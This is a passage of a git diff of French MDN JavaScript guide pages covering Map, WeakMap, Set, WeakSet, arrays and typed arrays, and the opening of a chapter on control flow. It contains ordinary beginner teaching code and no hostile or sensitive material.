  • On utilisera des maps plutôt que des objets lorsque les clés sont inconnues avant l'exécution et lorsque toutes les clés sont de même type et que les valeurs sont de même type.
    • -
  • On utilisera des maps lorsque les clés peuvent être des valeurs primitives autres que des chaînes de caractères (en effet, les objets considèrent toutes leurs clés comme des chaînes en convertissant les valeurs).
    • -
  • On utilisera des objets lorsqu'il y a une logique propre à des éléments individuels.
    • -
- -

Le type WeakMap

- -

L'objet {{jsxref("WeakMap")}} est une collection de paires clés/valeurs pour lesquelles les clés sont uniquement des objets (les valeurs peuvent être d'un type arbitraire). Les références vers les objets sont des références « faibles ». Cela signifie qu'elles seront collectées par le ramasse-miettes s'il n'y a pas d'autres références vers cet objet. L'API WeakMap offre les mêmes fonctionnalités que l'API Map.

- -

La différence entre le type Map et le type WeakMap est que les clés d'un objet WeakMap ne sont pas énumérables (c'est-à-dire qu'on n'a pas de méthode pour donner la liste des clés). S'il en existait une, la liste dépendrait de l'état d'avancement du ramasse-miettes, ce qui introduirait un non-déterminisme.

- -

Pour plus d'informations et d'exemples, voir également le paragraphe « Pourquoi WeakMap ? » sur l'article {{jsxref("WeakMap")}} de la référence.

- -

Un cas d'utilisation des objets WeakMap est le stockage de données privées d'un objet ou pour cacher certains détails d'implémentation. L'exemple qui suit est tiré du billet de blog de Nick Fitzgerald « Masquer des détails d'implémentation avec les WeakMaps ECMAScript 6 ». Les données et méthodes privées sont stockées dans l'objet WeakMap privates. Tout ce qui est exposé par l'instance et le prototype est public. Tout ce qui est en dehors est inaccessible car privates n'est pas exporté depuis le module :

- -
const privates = new WeakMap();
-
-function Public() {
-  const me = {
-    // Les données privées ici
-  };
-  privates.set(this, me);
-}
-
-Public.prototype.method = function () {
-  const me = privates.get(this);
-  // On fait des choses avec les données privées dans `me`...
-};
-
-module.exports = Public;
-
- -

Les ensembles

- -

Le type Set

- -

Les objets {{jsxref("Set")}} sont des ensembles de valeurs. Il est possible de les parcourir dans l'ordre d'insertion des éléments. Une valeur d'un élément Set ne peut y apparaître qu'une seule fois, il est unique pour cette instance de Set.

- -

Le code suivant illustre certaines opérations basiques avec Set. Voir aussi la page {{jsxref("Set")}} pour plus d'exemples et l'API complète.

- -
var monEnsemble = new Set();
-monEnsemble.add(1);
-monEnsemble.add("du texte");
-monEnsemble.add("toto");
-
-monEnsemble.has(1); // true
-monEnsemble.delete("toto");
-monEnsemble.size; // 2
-
-for (let item of monEnsemble) console.log(item);
-// 1
-// "du texte"
-
- -

Convertir des tableaux (Array) en ensembles (Set)

- -

Il est possible de créer un {{jsxref("Array")}} à partir d'un Set grâce à {{jsxref("Array.from")}} ou l'opérateur de décomposition. Pour effectuer la conversion dans l'autre sens, on peut utiliser le constructeur Set avec un argument de type Array. Encore une fois, les objets Set stockent des valeurs uniques, les éléments dupliqués dans un tableau seront supprimés lors de la conversion.

- -
Array.from(monSet);
-[...monSet2];
-
-monSet2 = new Set([1,2,3,4]);
-
- -

Comparaison entre Array et Set

- -

Historiquement, on représentait des ensembles avec des tableaux JavaScript. Ce nouveau type, Set, possède certains avantages :

- -
    -
  • Lorsqu'on souhaite vérifier si un élément existe déjà dans un tableau, on est obligé d'utiliser {{jsxref("Array.indexOf", "indexOf")}} ce qui peut diminuer les performances.
    • -
  • Les objets Set permettent de supprimer les éléments avec leur valeur. Avec un tableau, il faudrait « découper » le tableau sur l'indice de l'élément.
    • -
  • Dans un tableau, la valeur {{jsxref("NaN")}} ne peut pas être trouvée avec la méthode indexOf.
    • -
  • Les objets Set permettent de stocker des valeurs uniques, il n'est pas nécessaire d'effectuer des vérifications manuellement.
    • -
- -

Le type WeakSet

- -

Les objets {{jsxref("WeakSet")}} sont des ensembles d'objets. Un objet d'un WeakSet ne peut y apparaître qu'une seule fois maximum. On ne peut pas itérer sur les objets WeakSet (ils ne sont pas énumérables).

- -

Les principales différences avec l'objet {{jsxref("Set")}} sont :

- -
    -
  • Contrairement aux objets Set, les objets WeakSet sont des ensembles qui ne comprennent que des objets, les valeurs ne peuvent pas être d'un type arbitraire.
    • -
  • Les objets WeakSet utilisent des références faibles vers les objets. Ainsi, s'il n'y a pas d'autres références vers l'objet stocké dans le WeakSet, celui-ci pourra être collecté par le ramasse-miettes pour libérer de la mémoire. Cela signifie également qu'on ne peut pas maintenir une liste des différents objets contenus dans l'ensemble : les objets WeakSet ne sont pas énumérables.
    • -
- -

Les cas d'utilisations pour les objets WeakSet objects sont relativement limités. Ils empêcheront toute fuite mémoire donc on pourra, de façon sécurisée, les utiliser avec des éléments DOM qui pourront être des clés (pour les utiliser par ailleurs, etc.).

- -

Égalité des clés et des valeurs avec Map et Set

- -

L'égalité utilisée pour les clés des objets Map et celle utilisée pour les valeurs des objets Set sont les mêmes : elles sont basées sur l'algorithme suivant :

- -
    -
  • L'égalité fonctionne de la même façon qu'avec l'opérateur d'égalité stricte ===.
    • -
  • -0 et +0 sont considérés égaux.
    • -
  • {{jsxref("NaN")}} est considéré égal à lui-même (contrairement à ce qu'on obtient avec ===).
    • -
- -

{{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}

diff --git "a/files/fr/web/javascript/guide/collections_index\303\251es/index.html" "b/files/fr/web/javascript/guide/collections_index\303\251es/index.html" deleted file mode 100644 index 7efda85419..0000000000 --- "a/files/fr/web/javascript/guide/collections_index\303\251es/index.html" +++ /dev/null @@ -1,425 +0,0 @@ ---- -title: Collections indexées -slug: Web/JavaScript/Guide/Collections_indexées -tags: - - Array - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Indexed_collections ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}
- -

Ce chapitre présente les collections de données qui sont ordonnées par un indice. Cela inclue les tableaux et les objets semblables à des tableaux que sont les objets {{jsxref("Array")}} et les objets {{jsxref("TypedArray")}}.

- -

Le type Array

- -

Un tableau (array en anglais) est un ensemble ordonné de valeurs auxquelles on peut faire référence avec un nom et un indice. Par exemple, si on a un tableau emp qui contient les noms d'employés indexés par leurs numéros d'employé, on pourrait utiliser emp[1] pour accéder à l'employé n°1, emp[2] pour accéder au deuxième et ainsi de suite.

- -

JavaScript ne possède pas de type particulier pour représenter un tableau de données. En revanche, il est possible d'utiliser l'objet natif Array ainsi que ses méthodes pour manipuler des tableaux. L'objet Array possède plusieurs méthodes qui permettent de manipuler les tableaux pour les fusionner, les inverser, les trier, etc. Il possède une propriété de longueur ainsi que d'autres propriétés qui peuvent être utilisées avec les expressions rationnelles.

- -

Créer un tableau

- -

Les instructions qui suivent sont équivalentes et permettent de créer le même tableau :

- -
var arr = new Array(élément0, élément1, ..., élémentN);
-var arr = Array(élément0, élément1, ..., élémentN);
-var arr = [élément0, élément1, ..., élémentN];
-
- -

élément0, élément1, ..., élémentN est une liste de valeurs qui formeront les éléments du tableau. Lorsque ces valeurs sont définies, le tableau initialisera la valeur des éléments correspondants. La propriété length du tableau permet de connaître le nombre d'arguments du tableau.

- -

Parmi les instructions précédentes, une utilise des crochets, on appelle ceci un « littéral de tableau » ou un « initialisateur de tableau ». Cette notation est plus courte que les autres et est souvent préférée pour sa lisibilité. Pour plus d'informations sur cette notation, voir la page sur les littéraux de tableaux pour plus détails.

- -

Afin de créer un tableau de longueur non nulle mais sans aucun élément initialisé, on peut utiliser l'une des deux instructions suivantes :

- -
var arr = new Array(longueurTableau);
-var arr = Array(longueurTableau);
-
-// Cela aura le même effet que :
-var arr = [];
-arr.length = longueurTableau;
-
- -
-

Note : Dans le code ci-dessus longueurTableau doit être un nombre. Si ce n'est pas le cas, un tableau d'un seul élément (ayant la valeur fournie) sera créé. arr.length renverra longueurTableau, mais le tableau ne contiendra que des éléments « vides » non définis. Si on utilise une boucle {{jsxref("Instructions/for...in")}} sur ce tableau, on ne trouvera aucun élément.

-
- -

On a vu comment créer un tableau, il est aussi possible d'affecter des tableaux à des propriétés d'objets (que ce soit lors de leur création ou pour les modifier) :

- -
var obj = {};
-// ...
-obj.prop = [élément0, élément1, ..., élémentN];
-
-// OU
-var obj = {prop: [élément0, élément1, ...., élémentN]}
-
- -

Si on souhaite initialiser un tableau avec un seul élément et que cet élément est un nombre, il est nécessaire d'utiliser la notation littérale. En effet, si un nombre est passé à la fonction Array() pour construire le tableau, celui-ci sera interprété comme une longueur et non comme la valeur d'un élément.

- -
var arr1 = [42];      // Le tableau créé contient bien un élément qui vaut 42
-var arr2 = Array(42); // Crée un tableau sans élément
-                      // mais dont arr.length vaut 42
-
-// Le code ci-dessus est équivalent à
-var arr = [];
-arr.length = 42 ;
-
- -

Si N est un nombre décimal dont la partie fractionnaire n'est pas nulle, tout appel à Array(N) renverra une exception RangeError. Par exemple :

- -
var arr = Array(9.3);  // RangeError: Invalid array length
-
- -

Si on souhaite créer un tableau d'un seul élément et ce quel que soit le type de données, il sera préférable d'utiliser les littéraux de tableaux. Sinon, on peut créer un tableau vide puis lui ajouter un seul élément.

- -

Avec ES2015 (anciennement ECMAScript 6), on peut utiliser la méthode {{jsxref("Array.of")}} afin de créer un tableau composé d'un seul élément :

- -
let monTableau = Array.of("Joconde"); // monTableau contient uniquement "Joconde"
- -

Remplir un tableau

- -

Il est possible de remplir un tableau en affectant des valeurs à ses éléments. Par exemple :

- -
var emp = [];
-emp[0] = "Casey Jones";
-emp[1] = "Phil Lesh";
-emp[2] = "August West";
-
- -
-

Note : Si on utilise une valeur non entière pour désigner un élément du tableau, cela créera une propriété sur l'objet plutôt qu'un élément du tableau :

- -
var arr = [];
-arr[3.4] = "Oranges";
-console.log(arr.length);                // 0
-console.log(arr.hasOwnProperty(3.4));   // true
-
-
- -

Il est aussi possible de remplir un tableau directement lors de sa création :

- -
var monTableau = new Array("Coucou", maVar, 3.14159);
-var monTableau = ["Mangue", "Pomme", "Orange"]
-
- -

Faire référence aux éléments d'un tableau

- -

Il est possible de faire référence aux éléments d'un tableau en utilisant un nombre ordinal lié à l'élément. Ainsi, si on définit le tableau suivant :

- -
var monTableau = ["Air", "Eau", "Feu"];
-
- -

On pourra accéder au premier élément du tableau en utilisant monTableau[0], on accèdera au deuxième élément avec monTableau[1]. Les indices des éléments sont comptés à partir de 0.

- -
-

Note : Les crochets peuvent également être utilisés pour faire référence aux propriétés du tableau (les tableaux sont des objets JavaScript à part entière). On pourra donc avoir :

- -
var arr = ["un", "deux", "trois"];
-arr[2];         // "trois" - on accède à un élément du tableau
-arr["length"];  // 3 - on accède à une propriété du tableau
-
-
- -

Comprendre la propriété length

- -

En termes d'implémentation, les tableaux JavaScript stockent leurs éléments comme des propriétés normales, l'indice étant utilisé comme nom pour désigner la valeur de la propriété. La propriété length est elle un peu spéciale : elle renvoie toujours la valeur du plus grand indice du tableau plus 1. Dans l'exemple suivant, "Biduche" est placé à l'indice 30, chats.length renvoie donc 30 + 1). On rappelle que les indices des tableaux JavaScript commencent à partir de 0 et pas à partir de 1. Cela signifie que la valeur de la propriété length sera plus grande, de 1, par rapport à l'indice le plus élevé :

- -
var chats = [];
-chats[30] = ['Biduche'];
-console.log(chats.length); // 31
-
- -

Il est aussi possible d'affecter une valeur à la propriété length. Si la valeur fournie est inférieure au nombre d'éléments stockés, cela tronquera la tableau. Si la valeur est 0, cela videra le tableau :

- -
var chats = ['Marie', 'Toulouse', 'Berlioz'];
-console.log(chats.length); // 3
-
-chats.length = 2;
-console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
-
-chats.length = 0;
-console.log(chats); // affiche [], le tableau est vide
-
-chats.length = 3;
-console.log(chats); // [ <3 empty slots> ]
-
- -

Parcourir un tableau

- -

Un tableau est une structure de données qui se prête particulièrement aux boucles, on pourra utiliser ces dernières pour parcourir les éléments du tableau de façon itérative. Voici un exemple de parcours simple :

- -
var couleurs = ['rouge', 'vert', 'bleu'];
-for (var i = 0; i < couleurs.length; i++) {
-  console.log(couleurs[i]);
-}
-
- -

Si on sait qu'aucun des éléments ne vaut false dans un contexte booléen (par exemple, si le tableau contient des nœuds du DOM), on peut utiliser une formulation encore plus concise :

- -
var divs = document.getElementsByTagName('div');
-for (var i = 0, div; div = divs[i]; i++) {
-  /* On effectue un traitement sur les  div */
-}
-
- -

Cette syntaxe permet d'éviter d'avoir à vérifier la longueur du tableau et de gérer l'affectation de la variable div pour chaque élément du tableau.

- -

La méthode {{jsxref("Array.forEach", "forEach()")}} fournit une autre méthode pour parcourir un tableau :

- -
var couleurs = ['rouge', 'vert', 'bleu'];
-couleurs.forEach(function(couleur) {
-  console.log(couleur);
-});
-
- -

Avec les fonctions fléchées (apparues avec ES6 / ECMAScript 2015), on peut obtenir un code plus concis :

- -
var couleurs = ['rouge', 'vert', 'bleu'];
-couleurs.forEach(couleur => console.log(couleur));
- -

La fonction passée comme argument à forEach() est exécutée une fois pour chacun des éléments du tableau (l'élément du tableau sera passé comme argument de cette fonction). Les éléments qui n'ont pas de valeur affectée ne sont pas parcourus lors d'une boucle forEach.

- -

On notera que les éléments ne sont pas parcourus lorsqu'ils n'ont pas eu de valeur d'affectée. Cependant, si on a affecté la valeur {{jsxref("undefined")}} de façon explicite à un élément, il sera pris en compte lors de la boucle :

- -
var tableau = ['premier', 'deuxième', , 'quatrième'];
-
-// affiche ['premier', 'deuxième', 'quatrième'];
-tableau.forEach(function(élément) {
-  console.log(élément);
-});
-
-if(tableau[2] === undefined) { console.log('tableau[2] vaut undefined'); } // true
-
-var tableau = ['premier', 'deuxième', undefined, 'quatrième'];
-
-// renvoie ['premier', 'deuxième', undefined, 'quatrième'];
-tableau.forEach(function(élément) {
-  console.log(élément);
-})
- -

Étant donné que les éléments des tableaux sont stockés comme des propriétés classiques, il n'est pas conseillé d'utiliser des boucles {{jsxref("Instructions/for...in")}} pour parcourir les tableaux car cela listerait également les propriétés énumérables (en plus des éléments).

- -

Méthodes des tableaux

- -

L'objet Array possède les méthodes suivantes :

- -
    -
  • {{jsxref("Array.concat", "concat()")}} permet de fusionner deux ou plusieurs tableaux et de renvoyer le résultat dans un nouveau tableau : - 
    var monTableau = new Array("1", "2", "3");
-monTableau = monTableau.concat("a", "b", "c"); // monTableau is now ["1", "2", "3", "a", "b", "c"]
-
    -
    • -
  • {{jsxref("Array.join", "join(délimiteur = ',')")}} permet de fusionner les éléments du tableau en une chaîne de caractères : - 
    var monTableau = new Array("Air", "Eau", "Feu");
-var list = monTableau.join(" - "); // list sera "Air - Eau - Feu"
-
    -
    • -
  • {{jsxref("Array.push", "push()")}} permet d'ajouter un ou plusieurs éléments à la fin d'un tableau et renvoie la longueur du tableau : - 
    var monTableau = new Array("1", "2");
-monTableau.push("3"); // monTableau vaut désormais ["1", "2", "3"]
-
    -
    • -
  • {{jsxref("Array.pop", "pop()")}} permet de retirer le dernier élément (le plus à droite) du tableau et renvoie cet élément : - 
    var monTableau = new Array("1", "2", "3");
-var dernier = monTableau.pop(); // monTableau vaut désormais ["1", "2"], dernier = "3"
-
    -
    • -
  • {{jsxref("Array.shift", "shift()")}} retire le premier élément d'un tableau (le plus à gauche) et renvoie cet élément : - 
    var monTableau = new Array("1", "2", "3");
-var premier = monTableau.shift(); // monTableau vaut désormais ["2", "3"], premier vaut "1"
-
    -
    • -
  • {{jsxref("Array.unshift", "unshift()")}} ajoute un ou plusieurs éléments au début du tableau et renvoie la longueur du tableau ainsi modifié : - 
    var monTableau = new Array("1", "2", "3");
-monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]
    -
    • -
  • {{jsxref("Array.slice", "slice(indice_début, indice_fin)")}} extrait une portion d'un tableau et renvoie un nouveau tableau avec ce fragment : - 
    var monTableau = new Array ("a", "b", "c", "d", "e");
-monTableau = monTableau.slice(1, 4); // extrait les éléments entre l'indice 1 et jusqu'à
-                                     // celui d'indice 3 (4-1), elle renvoie
-                                     // [ "b", "c", "d"]
-
    -
    • -
  • {{jsxref("Array.splice", "splice(indice, nbASupprimer, ajouterElement1, ajouterElement2, ...)")}} retire des éléments du tableau et (éventuellement) les remplace : - 
    var monTableau = new Array ("1", "2", "3", "4", "5");
-monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut désormais ["1", "a", "b", "c", "d", "5"]
-  // Le code remplace à partir de l'indice 1 (où il y avait la valeur "2"), supprime trois éléments puis
-  // insère les arguments fournis à la suite.
-
    -
    • -
  • {{jsxref("Array.reverse", "reverse()")}} transpose les éléments du tableau à même ce tableau : le premier élément devient le dernier, le dernier devient le premier et ainsi de suite : - 
    var monTableau = new Array ("1", "2", "3");
-monTableau.reverse(); // monTableau vaut maintenant [ "3", "2", "1" ]
-
    -
    • -
  • {{jsxref("Array.sort", "sort()")}} trie les éléments d'un tableau à même ce tableau : - 
    var monTableau = new Array("Air", "Feu", "Eau");
-monTableau.sort(); // trie le tableau [ "Air", "Eau", "Feu" ]
-
    - -

    sort() peut également utiliser une fonction de rappel (callback) qui détermine comment les éléments sont comparés. La fonction compare deux arguments et renvoie une valeur selon les règles suivantes :

    - -
      -
    • Si a est inférieur à b selon l'ordre, renvoie -1 (ou un autre nombre négatif)
      • -
    • Si a est supérieur à b selon l'ordre, renvoie 1 (ou un autre nombre positif)
      • -
    • Si a et b sont considérés égaux, renvoie 0.
      • -
    - -

    Par exemple, on peut utilise la fonction suivante pour trier par rapport à la dernière lettre du mot :

    - - 
    var sortFn = function(a, b){
-  if (a[a.length - 1] < b[b.length - 1]) return -1;
-  if (a[a.length - 1] > b[b.length - 1]) return 1;
-  if (a[a.length - 1] == b[b.length - 1]) return 0;
-}
-monTableau.sort(sortFn); // le tableau devient = ["Air","Feu","Eau"]
    -
    • -
- -

Du code permettant d'émuler ces fonctions est disponible sur chacune des pages (polyfill). Le support natif de ces fonctionnalités dans les différents navigateurs peut être trouvé ici.

- -
    -
  • {{jsxref("Array.indexOf", "indexOf(élémentRecherché[, indiceDépart])")}} recherche la valeur élémentRecherché dans le tableau et renvoie l'indice du premier élément qui correspond : - - 
    var a = ['a', 'b', 'a', 'b', 'a'];
-console.log(a.indexOf('b'));    // Affiche 1
-// On recherche après la première correspondance :
-console.log(a.indexOf('b', 2)); // Affiche 3
-console.log(a.indexOf('z'));    // Affiche -1 car 'z' n'a pas été trouvé
-
    -
    • -
  • {{jsxref("Array.lastIndexOf", "lastIndexOf(élémentRecherché[, fromIndex])")}} fonctionne comme indexOf, mais recherche à partir de la fin du tableau : - 
    var a = ['a', 'b', 'c', 'd', 'a', 'b'];
-console.log(a.lastIndexOf('b'));    // Affiche 5
-// On continue la recherche après la première correspondance en fin de tableau
-console.log(a.lastIndexOf('b', 4)); // Affiche 1
-console.log(a.lastIndexOf('z'));    // Affiche -1
-
    -
    • -
  • {{jsxref("Array.forEach", "forEach(callback[, objetThis])")}} exécute la fonction callback sur chaque élément du tableau. - 
    var a = ['a', 'b', 'c'];
-a.forEach(console.log); // Affichera la valeur de chaque élément dans la console
-
    -
    • -
  • {{jsxref("Array.map", "map(callback[, objetThis])")}} renvoie un nouveau tableau dont les éléments sont les images des éléments du tableau courant par la fonction callback : - 
    var a1 = ['a', 'b', 'c'];
-var a2 = a1.map(function(item) { return item.toUpperCase(); });
-console.log(a2); // affichera A,B,C dans la console
-
    -
    • -
  • {{jsxref("Array.filter", "filter(callback[, objetThis])")}} renvoie un nouveau tableau qui contient les éléments du tableau courant pour lesquels callback a renvoyé true. - 
    var a1 = ['a', 10, 'b', 20, 'c', 30];
-var a2 = a1.filter(function(item) { return typeof item == 'number'; });
-console.log(a2); // Affichera 10,20,30 dans la console
-
    -
    • -
  • {{jsxref("Array.every", "every(callback[, objetThis])")}} renvoie true si callback renvoie true pour chaque élément du tableau. - 
    function isNumber(value){
-  return typeof value === 'number';
-}
-var a1 = [1, 2, 3];
-console.log(a1.every(isNumber)); // affiche true
-var a2 = [1, '2', 3];
-console.log(a2.every(isNumber)); // affiche false
-
    -
    • -
  • {{jsxref("Array.some", "some(callback[, objetThis])")}} renvoie true si callback renvoie true pour au moins un élément du tableau. - 
    function isNumber(value){
-  return typeof value === 'number';
-}
-var a1 = [1, 2, 3];
-console.log(a1.some(isNumber)); // Affiche true
-var a2 = [1, '2', 3];
-console.log(a2.some(isNumber)); // Affiche true
-var a3 = ['1', '2', '3'];
-console.log(a3.some(isNumber)); // Affiche false
-
    -
    • -
- -

Les méthodes présentées ci-avant qui prennent une fonction de rappel (callback) en argument sont appelées méthodes itératives car elles parcourent le tableau de façon itérative. Chacune de ces méthodes peut prendre en compte un deuxième argument (optionnel) qui sera l'objet this pris en compte par le callback. Si ce deuxième argument n'est pas fourni, this vaudra la valeur de l'objet global.

- -

La fonction de rappel est appelée avec trois arguments : le premier étant la valeur de l'élément courant, le deuxième est l'indice de cet élément et le troisième représente le tableau lui-même. Les fonctions JavaScript ignorent les arguments supplémentaires qui ne sont pas déclarés explicitement dans la liste des paramètres, on peut donc utiliser une fonction prenant un seul argument comme fonction de rappel.

- -
    -
  • {{jsxref("Array.reduce", "reduce(callback[, valeurInitiale])")}} applique callback(premièreValeur, secondeValeur) au fur et à mesure sur le tableau pour le réduire en une seule valeur, c'est cette valeur qui est renvoyée par la fonction : - - 
    var a = [10, 20, 30];
-var total = a.reduce(function(premier, deuxième) { return premier + deuxième; }, 0);
-console.log(total) // Affiche 60
-
    -
    • -
  • {{jsxref("Array.reduceRight", "reduceRight(callback[, valeurInitiale])")}} fonctionne comme reduce(), mais débute avec le dernier élément (parcourt le tableau de droite à gauche).
    • -
- -

reduce() et reduceRight() sont à utiliser lorsqu'on souhaite n'obtenir qu'une seule valeur, récursivement, à partir des différents éléments du tableau. Pour plus d'informations sur l'utilisation d'une valeur d'initialisation pour ces deux fonctions, se référer à leurs pages : {{jsxref("Array.reduceRight")}} et {{jsxref("Array.reduce")}}

- -

Tableaux multi-dimensionnels

- -

Les tableaux peuvent être imbriqués les uns dans les autres. Cela signifie qu'un tableau peut avoir un élément dont la valeur est un tableau. En utilisant ce comportement, on peut donc créer des matrices, voire des tableaux à plusieurs dimensions.

- -

Par exemple, avec le code suivant :

- -
var a = new Array(4);
-for (i = 0; i < 4; i++) {
-  a[i] = new Array(4);
-  for (j = 0; j < 4; j++) {
-    a[i][j] = "[" + i + "," + j + "]";
-  }
-}
-
- -

On pourra avoir le tableau suivant sur deux dimensions :

- -
Ligne 0 : [0,0] [0,1] [0,2] [0,3]
-Ligne 1 : [1,0] [1,1] [1,2] [1,3]
-Ligne 2 : [2,0] [2,1] [2,2] [2,3]
-Ligne 3 : [3,0] [3,1] [3,2] [3,3]
-
- -

Les tableaux et les expressions rationnelles

- -

Lorsqu'un tableau est le résultat d'une correspondance entre une expression rationnelle et une chaîne de caractères, les éléments et propriétés du tableau fournissent des informations sur la correspondance. Les méthodes suivantes peuvent renvoyer un tableau : {{jsxref("Objets_globaux/RegExp/exec","RegExp.exec()")}}, {{jsxref("Objets_globaux/String/match/exec","String.match()")}},  {{jsxref("Objets_globaux/String/split","String.split()")}}. Pour plus d'informations sur les tableaux et les expressions rationnelles, voir le chapitre du guide JavaScript sur les expressions rationnelles.

- -

Manipuler des objets semblables à des tableaux

- -

Certains objets JavaScript tels que {{domxref("NodeList")}} (renvoyé par {{domxref("document.getElementsByTagName()")}}) ou l'objet arguments (disponible au sein d'une fonction) ressemblent à des tableaux mais n'en sont pas (ils n'ont pas toutes les méthodes décrites ci-avant par exemple). Ainsi, l'objet arguments fournit une propriété {{jsxref("Objets_globaux/Function/length","length")}} mais n'implémente pas la méthode {{jsxref("Array.forEach", "forEach()")}}.

- -

Les méthodes du prototype des tableaux permettent d'utiliser les méthodes d'objets Array sur des objets semblables à des tableaux :

- -
 function alertArguments() {
-   Array.prototype.forEach.call(arguments, function(item) {
-     console.log(item);
-   });
- }
-
- -

Il est possible d'utiliser ces méthodes génériques sur des chaînes de caractères :

- -
Array.prototype.forEach.call("une chaîne", function(chr) {
-   console.log(chr);
-});
- -

Les tableaux typés

- -

Les tableaux typés JavaScript sont des objets semblables à des tableaux qui fournissent un moyen d'accéder à des données binaires. Comme on l'a vu ci-avant, les objets {{jsxref("Array")}} grandissent et rétrécissent dynamiquement et peuvent contenir n'importe quelle valeur JavaScript. Les moteurs JavaScript effectuent des optimisations afin que les tableaux puissent être utilisés rapidement. Cependant, avec le développement des applications web, les applications viennent à manipuler des données audio, vidéo, binaires et accèdent à des données brutes via les WebSockets d'autres outils. Il apparaît donc nécessaire d'avoir les outils JavaScript pertinents pour manipuler efficacement des données binaires, organisées au sein de tableaux typés.

- -

Les vues et les tampons de mémoire (buffers) : l'architecture des tableaux typés

- -

Afin de permettre un maximum de flexibilité et d'efficacité, les tableaux typés JavaScript séparent l'implémentation entre les tampons (buffers) et les vues (views). Un tampon de mémoire, implémenté par l'objet {{jsxref("ArrayBuffer")}}, est un objet représentant un fragment de données. Un tampon n'a pas de format a proprement parler et il ne fournit aucun mécanisme pour accéder à son contenu. Afin d'accéder à la mémoire contenu dans le tampon, on a besoin d'utiliser une vue. Une vue fournit un contexte, c'est-à-dire un type de donnée, un indice de départ et un nombre d'éléments, qui permet de traiter les données initiales comme un vrai tableau typé.

- -

Typed arrays in an ArrayBuffer

- -

ArrayBuffer

- -

Le type {{jsxref("ArrayBuffer")}} est un type de donnée utilisé pour représenter un tampon de données binaire générique dont la longueur est fixée. Un tampon de données ne peut pas être manipulé directement. Pour manipuler les données, il faut créer une vue sur le tableau typé ou un objet {{jsxref("DataView")}} qui représente le tampon dans un format spécifique et qui pourra être utilisé pour lire et écrire des informations du tampon.

- -

Les vues qui sont des tableaux typés

- -

Les vues de tableaux typés possèdent des noms explicites et fournissent des vues pour les types numériques usuels tels que Int8, Uint32, Float64 et ainsi de suite. Il existe un type de vue spécial qui est Uint8ClampedArray. Ce type ramène les différentes valeurs exploitées entre 0 et 255. Cela peut notamment être utile pour le traitement des données d'un canvas.

- -

{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}

- -

Pour plus d'informations sur les tableaux typés, voir l'article de la référence sur les différents objets {{jsxref("TypedArray")}}.

- -

{{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}

diff --git a/files/fr/web/javascript/guide/control_flow_and_error_handling/index.html b/files/fr/web/javascript/guide/control_flow_and_error_handling/index.html new file mode 100644 index 0000000000..a267ed8c97 --- /dev/null +++ b/files/fr/web/javascript/guide/control_flow_and_error_handling/index.html @@ -0,0 +1,408 @@ +--- +title: Contrôle du flux d'instructions et gestion des erreurs +slug: Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs +tags: + - Débutant + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}

+ +

JavaScript supporte nativement un ensemble d'instructions. Ces instructions permettent de définir les logiques des algorithmes, le flux des informations, etc. Ce chapitre fournit un aperçu sur le fonctionnement de ces différentes instructions JavaScript.

+ +

Toute expression est une instruction, voir la page Expressions et opérateurs pour plus d'informations sur les expressions. En JavaScript, le point-virgule (;) est utilisé afin de séparer des instructions dans le code.

+ +

Voir la Référence JavaScript pour plus de détails sur les différentes instructions décrites dans ce chapitre.

+ +

Les blocs

+ +

L'instruction la plus simple est l'instruction de bloc qui permet de regrouper des instructions. Un bloc est délimité par une paire d'accolades :

+ +
{
+   instruction_1;
+   instruction_2;
+   .
+   .
+   .
+   instruction_n;
+}
+
+ +

Exemple

+ +

Les instructions de blocs sont souvent utilisées avec les instructions conditionnelles et itératives telles que if, for, while.

+ +
while (x < 10) {
+  x++;
+}
+
+ +

Ici, { x++; } représente le bloc.

+ +

Note importante : En JavaScript, avant ECMAScript 2015 (aussi appelé ES6), les blocs n'introduisaient pas de nouvelles portées. Les variables introduites dans le bloc avec l'instruction var font partie de la portée de la fonction englobante ou du script. Les effets de leur définition persistent en dehors du bloc. Les blocs seuls utilisés avec var (et non let) pourront laisser penser que ce bloc se comportera comme en C ou en Java. Par exemple :

+ +
var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // affichera 2
+
+ +

Cella affichera 2 car l'instruction var x contenue dans le bloc fait partie de la même portée que l'instruction var x écrite avant le bloc. En C ou en Java, le code équivalent à cet exemple aurait produit 1.

+ +

Cela a évolué avec ECMAScript 2015 (ES6). Les instructions letet const permettent de déclarer des variables dont la portée est celle du bloc courant. Voir les pages des références {{jsxref("Instructions/let","let")}} et {{jsxref("Instructions/const","const")}}.

+ +
+

Note : Pour plus d'informations sur les blocs, voir l'article sur les blocs de la référence JavaScript.

+
+ +

Les instructions conditionnelles

+ +

Une instruction conditionnelle est un ensemble de commandes qui s'exécutent si une condition donnée est vérifiée. JavaScript possède deux instructions conditionnelles : if...else et switch.

+ +

Instruction if...else

+ +

On utilise l'instruction if lorsqu'on souhaite exécuter une instruction si une condition logique est vérifiée (vraie). La clause else est optionnelle et permet de préciser les instructions à exécuter si la condition logique n'est pas vérifiée (l'assertion est fausse). Voici un exemple qui illustre l'utilisation de l'instruction if :

+ +
if (condition) {
+  instruction_1;
+} else {
+  instruction_2;
+}
+ +

condition peut correspondre à n'importe quelle expression qui est évaluée à true (vrai) ou false (faux). Voir la page sur les booléens pour plus d'informations sur les évaluations qui fournissent les valeurs true ou false. Si la condition vaut true, instruction_1 est exécutée, sinon instruction_2 sera exécutée. instruction_1 et instruction_2 peuvent correspondre à n'importe quelle instruction, y compris d'autres instructions if.

+ +

Si on doit tester différentes conditions les unes à la suite des autres, il est possible d'utiliser else if pour lier les différents tests. On l'utilise de la façon suivante :

+ +
if (condition_1) {
+  instruction_1;
